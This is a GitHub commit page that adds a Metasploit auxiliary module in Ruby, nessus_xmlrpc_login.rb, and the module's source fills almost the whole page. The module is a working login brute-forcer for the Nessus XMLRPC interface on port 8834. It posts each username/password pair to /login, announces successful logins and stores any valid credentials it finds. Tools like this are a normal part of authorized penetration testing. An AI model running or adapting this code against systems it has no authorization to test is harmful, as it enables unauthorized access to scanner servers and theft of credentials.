Skip to content

Commit 7810f3d

Browse files
committed
Add previous nessus_xmlrpc_login file
1 parent bbbd4d3 commit 7810f3d

File tree

1 file changed

+120
-0
lines changed

1 file changed

+120
-0
lines changed
Lines changed: 120 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,120 @@
1+
##
2+
# nessus_xmlrpc_login.rb
3+
##
4+
5+
##
6+
# This module requires Metasploit: http://metasploit.com/download
7+
# Current source: https://github.com/rapid7/metasploit-framework
8+
##
9+
10+
require 'msf/core'
11+
12+
class Metasploit3 < Msf::Auxiliary
13+
14+
include Msf::Exploit::Remote::HttpClient
15+
include Msf::Auxiliary::Report
16+
include Msf::Auxiliary::AuthBrute
17+
include Msf::Auxiliary::Scanner
18+
19+
def initialize
20+
super(
21+
'Name' => 'Nessus XMLRPC Interface Login Utility',
22+
'Description' => %q{
23+
This module simply attempts to login to a Nessus XMLRPC interface using a
24+
specific user/pass.
25+
},
26+
'Author' => [ 'Vlatko Kosturjak <kost[at]linux.hr>' ],
27+
'License' => MSF_LICENSE
28+
)
29+
30+
register_options(
31+
[
32+
Opt::RPORT(8834),
33+
OptString.new('URI', [true, "URI for Nessus XMLRPC login. Default is /login", "/login"]),
34+
OptBool.new('BLANK_PASSWORDS', [false, "Try blank passwords for all users", false])
35+
], self.class)
36+
37+
register_advanced_options(
38+
[
39+
OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true])
40+
], self.class)
41+
end
42+
43+
def run_host(ip)
44+
begin
45+
res = send_request_cgi({
46+
'uri' => datastore['URI'],
47+
'method' => 'GET'
48+
}, 25)
49+
http_fingerprint({ :response => res })
50+
rescue ::Rex::ConnectionError => e
51+
vprint_error("#{datastore['URI']} - #{e}")
52+
return
53+
end
54+
55+
if not res
56+
vprint_error("#{datastore['URI']} - No response")
57+
return
58+
end
59+
if res.code != 403
60+
vprint_error("Authorization not requested")
61+
return
62+
end
63+
64+
each_user_pass do |user, pass|
65+
do_login(user, pass)
66+
end
67+
end
68+
69+
def do_login(user='nessus', pass='nessus')
70+
vprint_status("Trying username:'#{user}' with password:'#{pass}'")
71+
headers = {}
72+
73+
begin
74+
res = send_request_cgi({
75+
'encode' => true,
76+
'uri' => datastore['URI'],
77+
'method' => 'POST',
78+
'headers' => headers,
79+
'vars_post' => {
80+
'login' => user,
81+
'password' => pass
82+
}
83+
}, 25)
84+
85+
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
86+
print_error("HTTP Connection Failed, Aborting")
87+
return :abort
88+
end
89+
90+
if not res
91+
print_error("Connection timed out, Aborting")
92+
return :abort
93+
end
94+
95+
if res.code != 200
96+
vprint_error("FAILED LOGIN. '#{user}' : '#{pass}'")
97+
return :skip_pass
98+
end
99+
100+
if res.code == 200
101+
if res.body =~ /<status>OK<\/status>/
102+
print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
103+
104+
report_hash = {
105+
:host => datastore['RHOST'],
106+
:port => datastore['RPORT'],
107+
:sname => 'nessus-xmlrpc',
108+
:user => user,
109+
:pass => pass,
110+
:active => true,
111+
:type => 'password'}
112+
113+
report_auth_info(report_hash)
114+
return :next_user
115+
end
116+
end
117+
vprint_error("FAILED LOGIN. '#{user}' : '#{pass}'")
118+
return :skip_pass
119+
end
120+
end

0 commit comments

Comments
 (0)